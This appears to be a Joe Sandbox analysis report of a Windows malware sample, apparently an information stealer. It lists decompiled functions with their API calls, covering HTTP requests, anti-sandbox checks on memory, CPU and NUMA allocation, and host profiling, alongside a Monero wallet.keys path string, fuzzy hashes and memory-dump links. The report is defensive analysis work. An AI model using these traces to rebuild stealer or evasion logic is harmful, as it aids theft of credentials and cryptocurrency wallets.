Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d2642b652b4baf44aad9eab66d6ad995b910738784057efdb7c84a050902d041
Instruction ID: 374c07b6b46ec172802d9d7f9983b42979c41e2758c9cda8f62d052575212c01
Opcode Fuzzy Hash: d2642b652b4baf44aad9eab66d6ad995b910738784057efdb7c84a050902d041
Instruction Fuzzy Hash: 52621AB5500A01AFC36CDBA9F598D5637F9EF8C242714863EA62EC324CD67EA4C1DB50

Function 00FB6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

InternetOpenA.WININET(00FD0DFE,00000001,00000000,00000000,00000000), ref: 00FB62E1
StrCmpCA.SHLWAPI(?,00DEEA08), ref: 00FB6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB6335
HttpOpenRequestA.WININET(00000000,GET,?,00DEE100,00000000,00000000,00400100,00000000), ref: 00FB6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FB63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FB63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00FB63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FB646D
InternetCloseHandle.WININET(00000000), ref: 00FB64EF
InternetCloseHandle.WININET(00000000), ref: 00FB64F9
InternetCloseHandle.WININET(00000000), ref: 00FB6503

Strings

ERROR, xrefs: 00FB6407
GET, xrefs: 00FB637C
ERROR, xrefs: 00FB64C9

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5fa7e091fc63e480b30b2cb6c74d33468b877813fcd4f175647735efb88bbe32
Instruction ID: 910dbc133d20dedb80586d88d6c6fb1adb3fb88b228db10e67c409018384e9a2
Opcode Fuzzy Hash: 5fa7e091fc63e480b30b2cb6c74d33468b877813fcd4f175647735efb88bbe32
Instruction Fuzzy Hash: A1713C71A00218EBDB24DBA0DC49FEE7778BF44704F1081A9F10AAB1C4DBB96A85DF51

Function 00FC5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA820: lstrlen.KERNEL32(00FB4F05,?,?,00FB4F05,00FD0DDE), ref: 00FCA82B
Part of subcall function 00FCA820: lstrcpy.KERNEL32(00FD0DDE,00000000), ref: 00FCA885

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5857

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FC51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5228

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5318
Part of subcall function 00FC52C0: lstrlen.KERNEL32(00000000), ref: 00FC532F
Part of subcall function 00FC52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00FC5364
Part of subcall function 00FC52C0: lstrlen.KERNEL32(00000000), ref: 00FC5383
Part of subcall function 00FC52C0: lstrlen.KERNEL32(00000000), ref: 00FC53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5A0C
Sleep.KERNEL32(0000EA60), ref: 00FC5A1B

Strings

ERROR, xrefs: 00FC59FE
ERROR, xrefs: 00FC5932
ERROR, xrefs: 00FC577D
ERROR, xrefs: 00FC5693
ERROR, xrefs: 00FC5849
ERROR, xrefs: 00FC5636

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 87c8293d430d93d12cda99f0dcf9cd6edf976be8d4e4790d9a45ef6d2894e754
Instruction ID: 784de1447d2df7fed72fe1cd410ff1acad1d06a224a891ccbd3827cf0b66bc58
Opcode Fuzzy Hash: 87c8293d430d93d12cda99f0dcf9cd6edf976be8d4e4790d9a45ef6d2894e754
Instruction Fuzzy Hash: 1AE13E729101099BCB18FBA0EE57FED7338AF54704F44812CA416571D5EF38BA49EBA2

Function 00FC17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00FC17C5
ExitProcess.KERNEL32 ref: 00FC17D1

Strings

block, xrefs: 00FC17B7

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 4d68e126b3968c62881f117012788353137af240c60f58ae72ac43dc948f150a
Instruction ID: a914c61b47a7eea8cf66859bfa4ed164794a9dfe374a36fba5e59df3ae990513
Opcode Fuzzy Hash: 4d68e126b3968c62881f117012788353137af240c60f58ae72ac43dc948f150a
Instruction Fuzzy Hash: 6B519DB5A0420AEBCB04DFA0DA56FBE37B6BF44704F10405DE41AA7341DB74E961EB62

Function 00FC7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00FC7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FC757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7603
RtlAllocateHeap.NTDLL(00000000), ref: 00FC760A
wsprintfA.USER32 ref: 00FC7640

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

C, xrefs: 00FC754C
:, xrefs: 00FC755C
\, xrefs: 00FC7560

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 186c4fd966f13d28e794d9c394a3db1100a680088ad5755af89cba24358b1045
Instruction ID: 2712be0a69d85e1007cea3d592c4c9894c0f4f8c950142022b12f07c1e62627c
Opcode Fuzzy Hash: 186c4fd966f13d28e794d9c394a3db1100a680088ad5755af89cba24358b1045
Instruction Fuzzy Hash: 4A418FB1D04349ABDB10DB94DD46FEEBBB8AF48714F10019CF50967280DB78AA84DFA5

Function 00FC69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DDDBB0), ref: 00FC98A1
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DDDBE0), ref: 00FC98BA
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DDDAA8), ref: 00FC98D2
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8C40), ref: 00FC98EA
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8CD0), ref: 00FC9903
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE9168), ref: 00FC991B
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DD5FF0), ref: 00FC9933
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DD5FB0), ref: 00FC994C
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8CA0), ref: 00FC9964
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8D48), ref: 00FC997C
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8BC8), ref: 00FC9995
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8C10), ref: 00FC99AD
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DD6130), ref: 00FC99C5
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(77190000,00DE8BE0), ref: 00FC99DE

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FB11D0: ExitProcess.KERNEL32 ref: 00FB1211

Part of subcall function 00FB1160: GetSystemInfo.KERNEL32(?), ref: 00FB116A
Part of subcall function 00FB1160: ExitProcess.KERNEL32 ref: 00FB117E

Part of subcall function 00FB1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FB112B
Part of subcall function 00FB1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00FB1132
Part of subcall function 00FB1110: ExitProcess.KERNEL32 ref: 00FB1143

Part of subcall function 00FB1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FB123E
Part of subcall function 00FB1220: __aulldiv.LIBCMT ref: 00FB1258
Part of subcall function 00FB1220: __aulldiv.LIBCMT ref: 00FB1266
Part of subcall function 00FB1220: ExitProcess.KERNEL32 ref: 00FB1294

Part of subcall function 00FC6770: GetUserDefaultLangID.KERNEL32 ref: 00FC6774

Part of subcall function 00FB1190: ExitProcess.KERNEL32 ref: 00FB11C6

Part of subcall function 00FC7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FB11B7), ref: 00FC7880
Part of subcall function 00FC7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7887
Part of subcall function 00FC7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FC789F

Part of subcall function 00FC78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7910
Part of subcall function 00FC78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7917
Part of subcall function 00FC78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FC792F

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00DE90A8,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FC6AE8
CloseHandle.KERNEL32(00000000), ref: 00FC6AF9
Sleep.KERNEL32(00001770), ref: 00FC6B04
CloseHandle.KERNEL32(?,00000000,?,00DE90A8,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6B1A
ExitProcess.KERNEL32 ref: 00FC6B22

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 8f4e06549d4691621c896dfa246ecd627770b39dedce45e44480e27fc5f12819
Instruction ID: b35c8548161423df7e642f36d339c121d77aba8d82cd1ddf829594c1ae7bec43
Opcode Fuzzy Hash: 8f4e06549d4691621c896dfa246ecd627770b39dedce45e44480e27fc5f12819
Instruction Fuzzy Hash: 53310B7190420EAADB18F7A0ED57FEE7778AF44304F50452CF212A21C1DF786945EBA6

Function 00FB1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FB123E
__aulldiv.LIBCMT ref: 00FB1258
__aulldiv.LIBCMT ref: 00FB1266
ExitProcess.KERNEL32 ref: 00FB1294

Strings

@, xrefs: 00FB1233

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 3e253fbad67b38f9cdcf73424743f2889f635da81a3b6474b01da4633d313ec3
Instruction ID: 2e3791b1631e9d52ccfa9ff31ae6c7bd0cb1f0acc773e526b095fd47577329d9
Opcode Fuzzy Hash: 3e253fbad67b38f9cdcf73424743f2889f635da81a3b6474b01da4633d313ec3
Instruction Fuzzy Hash: 74014BB0D40308AAEB10DBE1DC4ABAEBB78BF04701F608068E605B6280D67866459B99

Function 00FC6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00DE90A8,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FC6AE8
CloseHandle.KERNEL32(00000000), ref: 00FC6AF9
Sleep.KERNEL32(00001770), ref: 00FC6B04
CloseHandle.KERNEL32(?,00000000,?,00DE90A8,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6B1A
ExitProcess.KERNEL32 ref: 00FC6B22

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e325c05725a5fd67ae57e791491075f8be4802e217d0ce9ae5e132d42ff001dd
Instruction ID: f2b777320bddb0558cbf8d1f16d76a1efc2a2a4c35397fabce51c643f401d920
Opcode Fuzzy Hash: e325c05725a5fd67ae57e791491075f8be4802e217d0ce9ae5e132d42ff001dd
Instruction Fuzzy Hash: BDF0307094420BAAE714ABA0AE07F7D7B74EF44705F10452CB527E2181DBB86981F755

Function 00FB47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Strings

<, xrefs: 00FB47C9

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: e416036c6507d5a5469ff35e40361f83c54e8eee31d643c93c755b69b9086fc4
Instruction ID: 32651583962b4a2034a39dbd0a033f57a97f879635b1e99ee609d3cdf2534bac
Opcode Fuzzy Hash: e416036c6507d5a5469ff35e40361f83c54e8eee31d643c93c755b69b9086fc4
Instruction Fuzzy Hash: 27212FB1D00209ABDF14EFA5ED4ABDD7B74FB44310F108629E525A72C0DB746609DB91

Function 00FC51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

